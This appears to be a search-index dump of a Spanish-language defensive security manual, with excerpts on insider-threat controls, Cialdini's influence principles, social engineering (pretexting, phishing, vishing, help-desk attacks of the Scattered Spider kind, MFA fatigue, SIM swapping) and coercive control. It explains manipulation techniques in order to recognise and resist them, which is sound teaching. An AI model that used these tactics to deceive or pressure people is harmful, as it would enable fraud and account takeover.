separación de funciones + least privilege → 3.9\"] end subgraph C[\"Plano de ciclo de vida — el eje temporal\"] C1[\"BP16 nube · BP17 control de cambios (logic bombs) → 6.5\\nBP18 respaldo protegido → 5.4 · BP19 exfil/DLP → 5.9\\nBP20 terminación / deprovisionamiento (máximo riesgo)\"] end H --\u003e INS[\"insider gestionado\\n(riesgo aceptable + resiliencia)\"] T --\u003e INS C --\u003e INS INS --\u003e BP22[\"BP22 aprender de los incidentes\\n= lazo de mejora → vuelve a la validación (6.3 / 5.4 / 6.1)\"] BP22 -.realimenta.-\u003e HEl plano humano: el control que actúa antes del ataque El plano humano agrupa las prácticas que operan sobre la conducta y la cultura, y su lógica es preventiva en el sentido más fuerte: intervienen antes de que el empleado tenga un motivo para actuar, o mientras el motivo se está formando, no cuando ya está exfiltrando datos.\nEmpieza en la contratación y sigue durante toda la relación laboral. La conducta preocupante (concerning behavior, BP4) —cambios de actitud, quejas sistémicas, alardes, hostilidad hacia supervisores— es observable, y el supervisor directo es el sensor primario que la detecta, si se lo entrena para reconocerla y se le da una vía de reporte confidencial que no alerte al implicado. Los casos del CERT son elocuentes en lo que cuesta ignorarla: el administrador que alardeaba de tener puertas traseras y evitaba viajar, el que exhibía ausentismo crónico y amenazaba a su jefe antes de plantar una bomba lógica, la gerente con ludopatía que hacía compras extravagantes mientras malversaba fondos. En todos, las señales conductuales precedieron al acto y nadie las conectó.\nLa segunda pieza es la gestión de la ventana de crisis (BP5). El capítulo 7.3 estableció que el despido y la renuncia son los desencadenantes empíricos más frecuentes; el corolario operativo es que los períodos de inestabilidad —reorganizaciones, recortes salariales, despidos masivos— concentran el riesgo y exigen vigilancia reforzada mientras duran. A esto se suman dos prácticas de frontera: los terceros de confianza (trusted external entities, BP6) —contratistas y proveedores con acceso comparable al de un empleado, que deben entrar en el perímetro del programa por contrato, con verificación de antecedentes y privilegio mínimo, en directo enganche con el C-SCRM de 7.2— y la higiene de información pública (BP7), las directrices de OPSEC sobre lo que el personal expone en redes sociales, que es la materia prima de la ingeniería social que un atacante —interno o externo— usa para construir su pretexto.\nLas dos últimas piezas del plano humano son las que menos se parecen a la seguridad tradicional y las que la tesis del capítulo pone en el centro. La gestión del estrés y la carga de trabajo (BP8) es un control de seguridad porque el arquetipo más frecuente —la amenaza no intencional— nace de la fatiga: el empleado bancario que transfirió millones por quedarse dormido, los programadores que expusieron datos por cronogramas irreales. Reducir la sobrecarga no es una cortesía de recursos humanos; es reducir la tasa de error que produce brechas. Y la concientización (BP9) convierte a toda la plantilla en una red de sensores que reconoce los indicadores conductuales y los intentos de manipulación, siempre que la dirección la respalde de forma visible.\nLa justicia organizacional es la contramedida más barata y la menos usada. La práctica BP21 —incentivos positivos y justicia organizacional (organizational justice)— cierra el plano humano y es, según el propio CERT, el cimiento sobre el que se apoyan las prácticas de seguridad tradicionales, no un complemento opcional. Su lógica es la inversa de todo lo demás: en vez de detectar y castigar el acto desviado, alinea los valores y las expectativas del personal con los de la organización de modo que el motivo del acto no llegue a formarse. Un entorno percibido como justo —donde las reglas se aplican parejo, el trabajo se reconoce y los agravios se atienden— reduce el riesgo base del que nacen el sabotaje y el fraude por venganza. Es más barato que cualquier plataforma de monitoreo y actúa donde ninguna llega —en la motivación—, y sin embargo es la práctica que las organizaciones sistemáticamente descuidan, porque no se compra, no se instala y no aparece en un panel de cumplimiento. Es el ejemplo más puro de la tesis de la Parte: seguridad que es gobernanza y cultura antes que tecnología. El plano técnico: referenciado, porque la gobernanza aporta la política, no la técnica El segundo plano —las prácticas técnicas núcleo, BP10 a BP15— es el que el resto del manual ya construyó, y este capítulo lo referencia en lugar de rehacerlo, porque el aporte de la gobernanza no es la técnica sino la política que la ordena y la exige. Vale enumerarlas para dejar el mapa completo:\nGestión de identidades y cuentas (BP10): eliminar cuentas compartidas —que destruyen la trazabilidad—, exigir MFA y auditar las cuentas huérfanas que sobreviven a una desvinculación mal hecha. El contratista despedido que siguió entrando por una cuenta compartida cuya contraseña nadie cambió es el caso testigo. Control de usuarios privilegiados (BP11): el administrador es el vector interno de mayor impacto porque puede alterar sistemas y borrar sus propios rastros. La respuesta —PAM, dual control para cambios en sistemas críticos, tiering— es la que la defensa de Active Directory desarrolló en detalle. Monitoreo correlacionado (BP12), regulación del acceso remoto (BP13) y detección por comportamiento (BP14): fusionar telemetría física y lógica, terminar las VPN frente a sensores, y establecer baselines que un motor de UEBA contrasta —incluido el peer-group analysis, comparar al usuario contra su grupo funcional—. Es exactamente el aparato que la detección del insider de 5.9 presentó como su mecanismo primario, precisamente porque contra el insider no hay firmas, solo desviaciones. Separación de fun","section":"P7 · Gobernanza, Frameworks y Riesgo","summary":"El capítulo que cierra la Parte 7 bajando el programa de amenaza interna a las veintidós prácticas del CERT, y sostiene que no son veintidós herramientas sino tres planos que tienen que operar integrados —humano, técnico y de ciclo de vida—. El plano que más rinde y que el resto del manual no había cubierto es el humano, porque actúa aguas arriba de todo lo demás, en la motivación y no en el comportamiento ya desviado: conducta preocupante desde la contratación, gestión del estrés, concientización, y sobre todo justicia organizacional e incentivos positivos, la contramedida más barata y menos usada. El plano técnico se referencia a las Partes que ya lo construyeron —control de cuentas privilegiadas, UEBA y correlación, separación de funciones y least privilege— porque el aporte de la gobernanza es la política que los ordena, no la técnica. El plano de ciclo de vida cierra el eje temporal abierto en 7.3 con el control de cambios contra las bombas lógicas, el respaldo protegido del propio administrador y el deprovisionamiento en la terminación, el momento de máximo riesgo empírico. Y la última práctica —aprender de los incidentes— es el lazo de mejora que devuelve la Parte entera a la validación. Cierre: la gobernanza no se compra, se ejerce.","tags":["gobernanza","amenaza-interna","insider-threat","controles","cultura-organizacional","ciclo-de-vida","cert","blue-team"],"title":"7.4 · Controles de amenaza interna: administrativos, humanos y de ciclo de vida","url":"/speculum/p7-gobernanza/7-4-controles-insider/"},{"content":"Panorama Todas las Partes anteriores defendieron máquinas, redes, procesos y decisiones de gobierno. Esta defiende lo que queda cuando todo eso está bien hecho y el atacante entra igual: al usuario. El factor humano es la superficie de ataque que ningún parche cierra, y no por descuido de nadie sino por su naturaleza —no es un sistema con versiones y correcciones, es una persona con prisa, con confianza y con atajos mentales que necesita para funcionar—. La Parte 7 ya trató una cara del problema humano: el insider, el humano de la organización, y la cultura que lo dispone a actuar bien o mal. Esta Parte trata la otra cara: el humano como blanco, la persona a la que un atacante externo manipula para que abra la puerta que ninguna vulnerabilidad técnica le abría.\nConviene fijar desde el principio el encuadre, porque determina cómo se lee todo lo que sigue. Este no es un catálogo de trucos para manipular; es el estudio, desde la defensa, de por qué la manipulación funciona, para reconocerla y resistirla. Cada mecanismo que el capítulo describe viene con su contracara: la señal que lo delata y la defensa que lo neutraliza. El objetivo es el mismo que persiguió el bloque ofensivo del manual —entender la técnica del adversario para defenderse de ella— aplicado ahora al terreno donde el adversario no ataca un puerto sino una mente.\nLa cognición corre en piloto automático El punto de partida, y la observación que Robert Cialdini puso en el centro del estudio de la influencia, es que la mente humana no puede permitirse analizarlo todo. La vida moderna presenta más estímulos, decisiones y personas de las que nadie tiene tiempo, energía o capacidad de procesar con detenimiento. Para sobrevivir a esa complejidad, la mente depende de atajos mentales (heuristics): reglas simples que reaccionan a una sola característica confiable de la situación en lugar de sopesar todos sus detalles. «Caro es bueno», «si un experto lo dice será cierto», «si todos lo hacen será lo correcto» son atajos, y en promedio son apuestas racionales: normalmente el precio sí se corresponde con la calidad, el experto sí sabe más, la mayoría sí acierta. Sin esos atajos, la mente se paralizaría analizando cada trivialidad.\nCialdini toma prestado de la etología el nombre para la versión más rígida de este mecanismo: los patrones de acción fija (fixed-action patterns), secuencias de comportamiento que se disparan enteras ante un único estímulo desencadenante (trigger feature). El ejemplo canónico es la pava que cuida a cualquier objeto —incluido un turrón disecado, su enemigo natural— con tal de que emita el «cheep-cheep» de sus crías, y ataca a su propia cría si se le silencia el sonido: el comportamiento maternal completo cuelga de un solo estímulo auditivo. Cialdini resume la versión humana con una onomatopeya, «click, whirr»: click, el estímulo activa la cinta; whirr, la secuencia de conducta se desenrolla sola. Un experimento suyo lo muestra con incomodidad: pedir pasar en la fila de una fotocopiadora tenía un 60 % de éxito sin dar razón, subía al 94 % con una razón genuina («porque tengo prisa») y se quedaba en 93 % con una razón vacía que no aportaba nada («porque tengo que hacer unas copias»). No era el argumento lo que persuadía: era la palabra «porque», el disparador que activa la conformidad antes de que nadie evalúe si detrás hay una razón real.\nLa ingeniería social no rompe a la persona: abusa de un atajo Aquí está el reencuadre que convierte todo esto en material de seguridad. La ingeniería social no «hackea» a la persona; explota un atajo que en la vida normal funciona bien. La analogía con la explotación técnica es exacta y vale detenerse en ella. Un exploit de software no rompe el hardware ni inventa una capacidad nueva: toma un camino de código legítimo —una función que valida un dato, un parser que interpreta un archivo— y le entrega una entrada diseñada para que ese camino legítimo produzca un resultado que el diseñador no quería. El atajo cognitivo es exactamente ese camino de código: existe porque es útil, corre de forma automática, y el manipulador le entrega el estímulo diseñado para que se dispare a su favor. La víctima no es «tonta» del mismo modo que un servidor vulnerable no es «defectuoso»: ejecuta correctamente una rutina que normalmente es adaptativa, contra una entrada construida para abusarla.\nCialdini llama a esta mecánica el jujitsu de la influencia: el manipulador aplica poco esfuerzo propio y deja que la fuerza del atajo haga el trabajo, de modo que la víctima cede creyendo que decidió libremente, atribuyendo su conducta a la situación y no al diseño del atacante. Un principio suyo lo ilustra sin necesidad de tecnología: el contraste perceptual, la distorsión por la que un segundo objeto parece más distinto de lo que es cuando sigue a un primero. El vendedor que muestra primero la casa en ruinas para que la mediocre parezca una joya, o el que cierra la venta del auto y solo entonces ofrece los extras de cien dólares que parecen triviales junto a los quince mil ya comprometidos, no fuerza nada: siembra un ancla y deja que la percepción haga el resto. Trasladado al terreno digital, el mismo movimiento reaparece en cada pretexto de ingeniería social —la urgencia fabricada, la autoridad invocada, el favor que crea deuda—, y los capítulos siguientes lo desarmarán uno por uno. La defensa, ya lo adelantaba Cialdini, no es renunciar a los atajos —sería paralizante— sino reconocer cuándo un atajo está siendo explotado deliberadamente y, en ese momento y solo en ese, apagar el piloto automático.\nDel individuo a la masa: el mismo automatismo, otra escala Lo que vale para una persona escala a una multitud, y con ello el factor humano deja de ser un problema de víctimas individuales para volverse uno de poblaciones enteras. Gustave Le Bon, escribiendo en 1895, describió cómo el individuo integrado en una masa sufre una regresión cognitiva: la personalidad consciente se disuelve, el pensamiento analítico se apaga y en su lugar emergen impulsos compartidos, gobernados por tres mecanismos —el contagio afectivo (un sentimiento se propaga y se amplifica al propagarse), la sugestibilidad extrema (la masa entra en un estado casi hipnótico donde acepta la idea dominante sin filtro) y el anonimato (que disuelve la responsabilidad y desinhibe)—. La masa, dice Le Bon, no razona con argumentos sino con imágenes, acepta fórmulas absolutas y rechaza el matiz. Sus casos —la tripulación que «ve» balsas con náufragos donde solo hay ramas flotando, los testigos que identifican con certeza cadáveres de personas vivas— muestran la misma automaticidad de Cialdini operando en grupo: un estímulo dispara una respuesta colectiva que ninguna evidencia contradice hasta que es demasiado tarde.\nLe Bon importa a un manual de seguridad porque su masa del siglo XIX es el sustrato de la desinformación del siglo XXI. No hace falta proximidad física para que la turba se forme —él ya lo intuía—, y las plataformas digitales reconstruyen sus tres mecanismos a escala planetaria: el contagio es la viralidad, la sugestibilidad es la cámara de eco, el anonimato es la cuenta desechable. La operación de influencia estatal que la Parte trata más adelante no inventa nada nuevo: instrumenta con precisión industrial el automatismo colectivo que Le Bon describió a mano.\nEl continuo de influencia: el mapa de la Parte Persuasión, manipulación, coerción y propaganda no son cuatro fenómenos distintos sino cuatro tramos de un mismo continuo de influencia, y ordenarlos así es lo que da estructura a esta Parte. En un extremo está la persuasión legítima —el vendedor honesto, el argumento que apela a un interés real—; avanzando por el continuo, los mismos mecanismos se despegan del interés de la víctima hasta operar enteramente contra ella. La diferencia entre un tramo y el siguiente no está en la técnica —los atajos explotados son los mismos— sino en el grado de engaño, de sostenimiento en el tiempo y de daño.\nflowchart LR P[\"","section":"P8 · Factor humano","summary":"El capítulo que abre la Parte 8 y traslada la lógica del manual a la superficie que ningún parche cierra: la cognición humana. Sostiene que la ingeniería social no «hackea» a la persona sino que explota atajos mentales —heurísticos— que en la vida normal funcionan bien, igual que un exploit no rompe el hardware sino que abusa de un camino de código legítimo. Presenta la automaticidad de la mente (los patrones de acción fija de Cialdini, el «click, whirr»), la reencuadra en términos de seguridad como una superficie de ataque con sus propios vectores, la escala del individuo a la masa con Le Bon, y traza el continuo de influencia —de la persuasión legítima a la ingeniería social operativa, al control coercitivo y a la operación de influencia a escala de población— que organiza el resto de la Parte. Cierra con la tesis que la recorre entera: la cognición no se parchea, pero sí se inocula.","tags":["factor-humano","ingenieria-social","psicologia","influencia","heuristicos","blue-team","manipulacion"],"title":"8.1 · El factor humano como superficie de ataque","url":"/speculum/p8-factor-humano/8-1-factor-humano/"},{"content":"Panorama El capítulo anterior estableció que la ingeniería social explota atajos cognitivos igual que un exploit abusa de un camino de código legítimo. Este capítulo cataloga esos atajos. Robert Cialdini, tras años de infiltrarse en la formación de vendedores, recaudadores y estafadores, encontró que casi toda la persuasión que consigue un «sí» automático se apoya en seis principios —reciprocidad, compromiso y coherencia, prueba social, autoridad, simpatía y escasez—. No son seis trucos entre muchos: son seis atajos que la mente humana necesita para funcionar, y precisamente porque son universales y automáticos constituyen el kit de exploits que todo ingeniero social, sepa o no que se llaman así, usa una y otra vez.\nLa estructura de cada principio es la misma y conviene tenerla presente al leerlos: hay un heurístico adaptativo —una regla que en la vida normal es una apuesta razonable—, hay una forma de armarlo —entregarle el estímulo diseñado para dispararlo en falso— y hay una defensa que nunca consiste en renunciar al atajo (sería paralizante) sino en reconocer el momento en que lo están explotando. Cada sección los recorre y muestra cómo el principio, que Cialdini estudió en vendedores de autos y sectas, reaparece intacto en un correo de phishing o una llamada al help desk —el terreno del capítulo siguiente—.\nReciprocidad: la deuda que no se pidió La reciprocidad es la obligación, presente en toda cultura humana, de devolver lo que se recibe. Es el cimiento de la cooperación —dar deja de ser una pérdida cuando existe la garantía social de que será devuelto—, y está tan arraigada que devolver un favor pesa más que la simpatía: en el experimento de Dennis Regan, un ayudante que traía una Coca-Cola no pedida lograba luego vender el doble de boletos de rifa, y lo lograba incluso entre quienes declaraban que les caía mal. Ahí está la vulnerabilidad exacta: la regla exige devolver lo recibido, pero no exige haberlo pedido. El manipulador inicia el ciclo unilateralmente con un regalo no solicitado —la flor que los Hare Krishna ponían en la mano y se negaban a recibir de vuelta— y activa una deuda que la víctima paga con tal de librarse del malestar de deberla.\nTiene una variante de segundo orden, el rechazo-luego-retirada (door-in-the-face): pedir primero algo desmedido, recibir el «no» esperado, y «ceder» a una petición menor que era la buscada desde el principio. La concesión aparente del atacante dispara la obligación de conceder en la víctima. Cialdini lo descubrió comprando dos barras de chocolate que detestaba a un niño que primero le había ofrecido entradas caras; en su forma corporativa fue el plan de Watergate, que Liddy hizo aprobar reduciéndolo de un millón de dólares a doscientos cincuenta mil. En un ataque digital, la reciprocidad es el adjunto «útil» que precede al pedido, el falso soporte técnico que primero «resuelve» un problema inventado para pedir después las credenciales, el regalo o la ayuda no solicitada que abre la conversación.\nDefensa: no rechazar todo favor —eso destruiría la cooperación legítima— sino reclasificar el favor en el momento en que revela su intención. Si el gesto inicial era genuino, la reciprocidad sigue su curso sano; si el paso siguiente es un cobro desproporcionado, el «regalo» era un dispositivo de sumisión, y la regla no obliga a devolver trucos con favores. Descubierta la maniobra, la deuda se disuelve.\nCompromiso y coherencia: el pequeño «sí» que ata al grande Las personas sienten una presión fuerte por comportarse de forma coherente con lo que ya dijeron o hicieron. La coherencia es socialmente valorada y además ahorra pensar: quien ya tomó una postura no necesita reevaluarla cada vez. El manipulador explota esto consiguiendo un compromiso inicial trivial que después usa como palanca. En el experimento de Freedman y Fraser, pedir a unos vecinos que colocaran un cartel enorme de «conduzca con cuidado» en el jardín obtenía un 17 % de aceptación; pero si dos semanas antes se les había pedido pegar una calcomanía pequeña, la aceptación del cartel grande subía al 76 %, porque su autoimagen ya había cambiado a la de «ciudadano cívico». Es la técnica del pie en la puerta (foot-in-the-door): el primer «sí» pequeño reconfigura la identidad, y de ahí en más los «sí» mayores son coherentes con ella. Los interrogadores chinos en Corea lo usaron con prisioneros estadounidenses, escalando de firmar «Estados Unidos no es perfecto» a redactar y leer en público ensayos que terminaban por convertirlos en colaboradores.\nSu primo comercial es el lowball: arrancar con una oferta muy favorable que consigue el compromiso, y retirarla una vez que la víctima ya se ató mentalmente a la decisión. En ingeniería social, este principio es el hilo que convierte una interacción inofensiva en una cadena: acceder a «solo verificar un dato», luego a «confirmar el código que te llegó», luego a «autorizar el acceso», cada paso coherente con el anterior. El compromiso público, costoso y aparentemente voluntario es el que más ata.\nLas dos señales corporales de Cialdini. Para la coherencia, la defensa es escuchar al cuerpo, porque avisa antes que la razón. La primera señal es en el estómago: esa tensión que aparece cuando uno se da cuenta de que un compromiso tonto lo está empujando a algo que no quiere hacer; ahí toca decir en voz alta que no se va a ser coherente con una tontería. La segunda viene «del fondo del corazón» y sirve cuando uno se está autoengañando con justificaciones: preguntarse «sabiendo lo que sé ahora, ¿volvería a tomar esta decisión?» y confiar en el primer destello de respuesta, antes de que la mente lo racionalice. Ambas defensas comparten con las demás el mismo principio: la alarma no está en el argumento del otro sino en la propia reacción física. Prueba social: si todos lo hacen, será correcto Ante la duda sobre cómo actuar, la gente mira lo que hacen los demás y asume que la mayoría acierta. Es un atajo excelente —normalmente la conducta mayoritaria es la adecuada— y por eso las risas grabadas hacen reír más y los testimonios venden. Su explotación consiste en fabricar la evidencia social: reseñas falsas, contadores de «miles de usuarios ya migraron», el correo que asegura que «el resto del equipo ya completó la verificación». El principio se potencia bajo dos condiciones que el atacante busca crear: la incertidumbre (cuanto más ambigua la situación, más se copia a la multitud) y la similitud (se copia con más fuerza a quienes se parecen a uno).\nSu cara más oscura es la ignorancia pluralista: en una emergencia ambigua, cada testigo mira a los demás para decidir si hay peligro, y como todos disimulan para mantener la compostura, el grupo se transmite una calma falsa y nadie actúa. Darley y Latané lo midieron: una víctima simulando una convulsión recibía ayuda el 85 % de las veces con un solo testigo, y solo el 31 % con cinco. Trasladado a la seguridad, explica por qué un correo sospechoso que llega a toda una organización a veces no lo reporta nadie —cada quien supone que, si fuera peligroso, otro ya habría dado la alarma—.\nDefensa: desconfiar de la prueba social cuando es verificable que está orquestada, y —en la variante de la emergencia— destruir la ambigüedad señalando a una persona concreta. La contramedida de Cialdini para pedir ayuda en una multitud —«usted, el de la chaqueta azul, llame a una ambulancia»— es la misma que hace funcionar un programa de reporte de phishing: no «reporten si ven algo raro» (responsabilidad difusa) sino un botón que asigna la acción a quien recibe el correo, tema que retoma la defensa cognitiva de 8.6.\nAutoridad: el símbolo basta Desde la infancia se enseña a obedecer a la autoridad legítima, y la obediencia se vuelve tan automática que deja de distinguir la autoridad real de sus símbolos. El experimento de Milgram es el dato central de todo el principio: bajo la orden de un investigador de bata blanca, el 65 % de personas comunes administró lo que creía una descarga de 450 voltios ","section":"P8 · Factor humano","summary":"El capítulo que desarma la mecánica de la influencia: los seis principios de Cialdini —reciprocidad, compromiso y coherencia, prueba social, autoridad, simpatía y escasez— como el kit de exploits universal de la ingeniería social. Cada principio es un atajo mental que en la vida normal funciona bien y que el atacante arma en su contra; el capítulo recorre los seis con su experimento clásico, muestra cómo cada uno reaparece en un phishing o una llamada de vishing reales, y desarrolla la defensa que Cialdini asoció a cada uno: reconocer el momento en que el atajo está siendo explotado y, solo entonces, apagar el piloto automático. Cierra con la observación que ordena la defensa —los ataques reales no usan un principio sino que apilan varios— y con el hilo común de todas las contramedidas: la señal de alarma no es el contenido del mensaje sino la sensación que produce.","tags":["factor-humano","ingenieria-social","psicologia","influencia","cialdini","persuasion","blue-team"],"title":"8.2 · Las armas de la influencia (Cialdini)","url":"/speculum/p8-factor-humano/8-2-armas-influencia/"},{"content":"Panorama El capítulo anterior catalogó los seis principios de la influencia; este los ve trabajar en el campo. La ingeniería social operativa es lo que ocurre cuando un atacante deja de estudiar la psicología y la apunta contra una organización concreta para conseguir un acceso que la técnica no le daba. Y conviene fijar la escala del problema: el humano no es un vector de acceso inicial más entre otros, es el vector dominante. La mayoría de las intrusiones no empiezan con un exploit contra un servicio expuesto sino con una persona que hizo clic, contestó una llamada o aprobó una notificación. El bloque ofensivo del manual empezó en la metodología de pentest reconociendo que el primer punto de apoyo suele ser humano; esta Parte explica por qué.\nMargaret Singer, estudiando líderes de sectas, lo resumió en una frase que vale igual para el operador de vishing: «el arte popular de la manipulación humana se puede aprender y perfeccionar». No es un don; es un oficio con técnicas repetibles. Este capítulo las anatomiza —desde la defensa— en el orden en que se encadenan en un ataque real: primero la construcción del pretexto, después el contacto (phishing, vishing), después el rodeo de las defensas de autenticación, y finalmente la contramedida que las neutraliza a todas. El encuadre es el de siempre: se describe la técnica del adversario para reconocerla y frenarla, no para practicarla.\nPretexting: construir el personaje Antes del contacto está el pretexto (pretexting): la identidad falsa y la historia verosímil que el atacante construye para que su pedido parezca legítimo. Un buen pretexto no se improvisa; se investiga, y su materia prima es justamente lo que la Parte 2 recolectó desde la ofensiva —el nombre del jefe, el organigrama, la jerga interna, el proveedor de nómina, la baja reciente de un empleado—. A eso se suman los datos filtrados en brechas: un correo corporativo y una contraseña vieja expuestos en un volcado público bastan para que la llamada suene informada. Cuanto más específico el pretexto, más disparadores de Cialdini activa a la vez —la autoridad de citar al director por su nombre, la simpatía de conocer detalles internos, la prueba social de nombrar a colegas reales—.\nEl pretexto es lo que convierte la teoría del capítulo anterior en un ataque: no es «un desconocido pide algo raro» sino «alguien que parece de adentro pide algo plausible». Y esa plausibilidad se compra con reconocimiento previo, lo que hace del OSINT no un preámbulo sino la mitad del ataque.\nPhishing: el contacto a escala El phishing —el señuelo enviado por correo, mensaje o chat para que la víctima haga clic, entregue credenciales o ejecute un adjunto— es la forma más conocida y de mayor volumen. Tiene un gradiente de personalización que sigue el de Cialdini: el phishing masivo apuesta a la cantidad (millones de correos genéricos, pocas víctimas, coste casi nulo); el spear-phishing dirige el señuelo a una persona concreta con un pretexto hecho a medida; y el whaling apunta a la cúpula, donde un solo acierto vale una organización entera. La variante más rentable, el fraude del CEO o business email compromise, combina autoridad (el correo imita al director general), urgencia (la transferencia es para hoy) y a menudo un canal que rehúye la verificación (pide que no se consulte con nadie «por confidencialidad»).\nAquí el capítulo se cruza con la detección de amenazas de identidad y correo de la Parte 5, que ya desarrolló cómo se rastrea el phishing desde el lado defensivo —el análisis de cabeceras, la disparidad entre From y Reply-To que delata el fraude del CEO, la autenticación SPF/DKIM/DMARC, la cadena padre-hijo del adjunto armado—. Este capítulo no rehace esa detección: la referencia y aporta la otra mitad, la psicología del señuelo que explica por qué funciona lo que 5.3 detecta. La una sin la otra es incompleta: el defensor que solo conoce la firma técnica no anticipa el pretexto, y el que solo conoce la psicología no lo caza en el flujo de correo.\nVishing y el asalto al help desk: la identidad sin cuerpo Si el correo es el canal de volumen, la voz es el de precisión. El vishing (voice phishing) —la llamada telefónica con pretexto— ataca el punto que ninguna pasarela de correo filtra: una conversación en tiempo real donde el atacante ajusta su guion a las respuestas de la víctima. Y su blanco predilecto es el help desk de tecnología, por una razón estructural: el service desk existe para resolver rápido problemas de identidad —«no puedo entrar», «perdí el teléfono del segundo factor»— a personas cuya identidad, por teléfono, no tiene cuerpo. El agente atiende una voz con prisa y una cola de tickets, y su trabajo es destrabar accesos, no dudar de quien llama. Es el eslabón más blando de toda la cadena de identidad, y los atacantes lo saben.\nEl caso testigo es Scattered Spider (también rastreado como UNC3944 u Octo Tempest), la facción del ecosistema cibercriminal difuso conocido como The Com especializada en ingeniería social corporativa. Su técnica central es llamar al help desk haciéndose pasar por un empleado —con el OSINT y los datos filtrados que dan verosimilitud— y pedir un reset de contraseña y de MFA o la transferencia del dispositivo de segundo factor a uno que controlan. Con eso obtienen un acceso legítimo y de ahí escalan con herramientas de administración remota normales, para mezclarse con el tráfico administrativo (living off the land). El compromiso de MGM y Caesars en 2023 —cerca de cien millones de dólares de pérdida en MGM— empezó, según la información pública, con una sola llamada al service desk.\nUn solo kit psicológico, blancos opuestos. El mismo músculo de ingeniería social con que The Com nació —engañar a empleados de operadoras telefónicas para el SIM swap— es el que un polo del ecosistema apunta hoy al agente de service desk corporativo y otro, en su rama de sextortion, apunta a menores en plataformas de juego. La técnica no cambia de forma; cambia de blanco. Esa continuidad es la razón de ser de esta Parte: el atacante que estafa una empresa de nueve cifras y el que coacciona a una víctima individual —el terreno del capítulo siguiente— usan el mismo repertorio de principios. Entenderlo como un repertorio único, y no como amenazas inconexas, es lo que permite defenderse de las dos con la misma lógica. Rodear el segundo factor, no romperlo La autenticación multifactor (MFA) se pensó para que una contraseña robada no bastara, y funciona —contra el ataque técnico—. La ingeniería social no la rompe: la rodea, convenciendo al humano de que entregue el segundo factor o de que apruebe el acceso él mismo. Hay dos técnicas dominantes. El push bombing o fatiga de MFA (MFA fatigue) consiste en disparar una avalancha de notificaciones push de aprobación al teléfono de la víctima —a menudo de madrugada— hasta que, por agotamiento o para que paren, aprueba una; es la reactancia y la urgencia del capítulo anterior convertidas en táctica de desgaste. El SIM swapping captura el segundo factor cuando este llega por SMS: el atacante convence a la operadora telefónica de portar el número de la víctima a una tarjeta SIM que controla, y con ello recibe los códigos.\nLo importante para el defensor es el diagnóstico: ambas son primas de la nube del adversary-in-the-middle que 5.3 presentó —no atacan la criptografía del segundo factor, atacan al humano o al proceso que lo rodea—. Y ese diagnóstico apunta directo a la defensa: si el problema es que el factor depende de una decisión humana o de un canal secuestrable (la aprobación por push, el SMS), la solución es un factor que no dependa de ninguno de los dos.\nLa cadena completa Vista entera, la operación es una cadena donde cada eslabón habilita el siguiente, y donde el reconocimiento del principio es el trabajo previo que hace verosímil todo lo demás.\nflowchart LR OSINT[\"reconocimiento\\nOSINT (2.2) + leaks (2.6)\\n→ el pretexto verosímil\"] PRE[\"pretexto\\nidentidad falsa + historia plausible\"] CON[\"contacto\\nphishing ","section":"P8 · Factor humano","summary":"El capítulo que lleva los seis principios de la influencia al ataque real y los ve operar contra una empresa. Sostiene que la ingeniería social operativa es Cialdini operacionalizado: el humano es el vector de acceso inicial de la mayoría de las intrusiones, y el help desk —una identidad sin cuerpo que hay que atender rápido— es su eslabón más blando. Recorre la anatomía del ataque —pretexting nutrido por el OSINT y los leaks de la Parte 2, phishing en sus formas masiva y dirigida, vishing y el asalto al service desk al estilo de Scattered Spider, y el rodeo del segundo factor por fatiga de MFA y SIM swap— y cierra con la defensa que unifica a todas: la verificación fuera de banda, institucionalizada en el proceso en vez de confiada a la vigilancia del individuo, más la MFA resistente a phishing que vuelve inútiles el push bombing y el robo del SMS. Enlaza la detección de correo e identidad a la Parte 5 sin rehacerla.","tags":["factor-humano","ingenieria-social","phishing","vishing","pretexting","mfa","blue-team","acceso-inicial"],"title":"8.3 · Ingeniería social operativa: pretexting, phishing y vishing","url":"/speculum/p8-factor-humano/8-3-ingenieria-social/"},{"content":"Panorama La ingeniería social operativa terminaba en un acceso: un contacto, un pretexto, una decisión arrancada, y el atacante seguía su camino. Este capítulo recorre el mismo repertorio de influencia hasta su extremo, donde ya no describe un evento sino un sistema. El control coercitivo (coercive control) es lo que ocurre cuando la manipulación deja de ser una llamada o un correo y se vuelve un entorno sostenido en el tiempo cuyo objetivo no es una acción puntual sino la captura de la voluntad de la persona. Es la diferencia entre que alguien consiga que uno haga algo una vez y que alguien se instale en la vida de uno hasta decidir qué piensa, con quién habla y qué siente.\nDurante décadas ese fenómeno se estudió con un nombre —«lavado de cerebro», brainwashing— que su propio aura mágica volvía inútil para defenderse: si es una fuerza mística que rompe mentes, no hay nada que reconocer ni que hacer. El aporte de la psicología clínica del control mental fue exactamente el contrario: desmitificarlo, descomponerlo en variables observables y repetibles. Steven Hassan lo dice sin rodeos —el control mental no ocurre por arte de magia, sino por la aplicación implacable de variables psicosociales—. Ese es el encuadre de este capítulo. No se describe para asustar ni para reproducir; se describe porque un mecanismo anatomizado es un mecanismo que se puede reconocer a tiempo, y reconocerlo a tiempo es la única defensa que existe contra él.\nY pertenece a un manual de seguridad por una razón concreta: el mismo mecanismo que la literatura sobre sectas mapeó en comunas y grupos cerrados reaparece a distancia, industrializado y apuntado contra menores, en la coerción online. La secta necesitaba un recinto físico; la versión digital consigue el aislamiento sin él. Por eso el capítulo se lee en dos tiempos: primero los cuatro marcos clásicos que convergen en una sola máquina, y después el puente digital donde esa máquina se convierte en una amenaza de seguridad —tratada, de principio a fin, desde el lado de la víctima y del reporte.\nEncuadre del capítulo. Todo lo que sigue es una taxonomía defensiva: sirve para identificar el mecanismo en una relación, un grupo o un contacto online, no para ejecutarlo. La sección sobre la coerción online se limita a la existencia del fenómeno, sus señales de alerta y sus canales de reporte; no reproduce tácticas, plantillas ni pasos operativos, porque el valor defensivo está en el mecanismo mapeado, nunca en el detalle. Si usted o alguien que conoce está en una situación así, la sección de defensa cierra con los recursos concretos. De la persuasión al sistema: qué cambia Los capítulos anteriores trabajaron sobre disparadores puntuales: un principio de Cialdini se activa, la víctima reacciona, el ataque cierra. El control coercitivo cambia tres cosas a la vez. Cambia la duración —de un contacto a un régimen permanente—; cambia la totalidad —de una decisión aislada a la ambición de gobernar todos los dominios de la conducta—; y cambia el entorno —de un intercambio entre iguales a un recinto, físico o virtual, donde el manipulador controla el flujo de realidad—. Margaret Singer lo formuló como un proceso, no un evento: «un programa de reforma del pensamiento no es un disparo único, sino un proceso gradual de quiebre y transformación».\nEsa gradualidad es la trampa central y también la clave defensiva. Cada paso, aislado, parece razonable; es la trayectoria la que es letal. La lección que 8.3 ya insinuaba con el phishing progresivo se vuelve aquí la regla 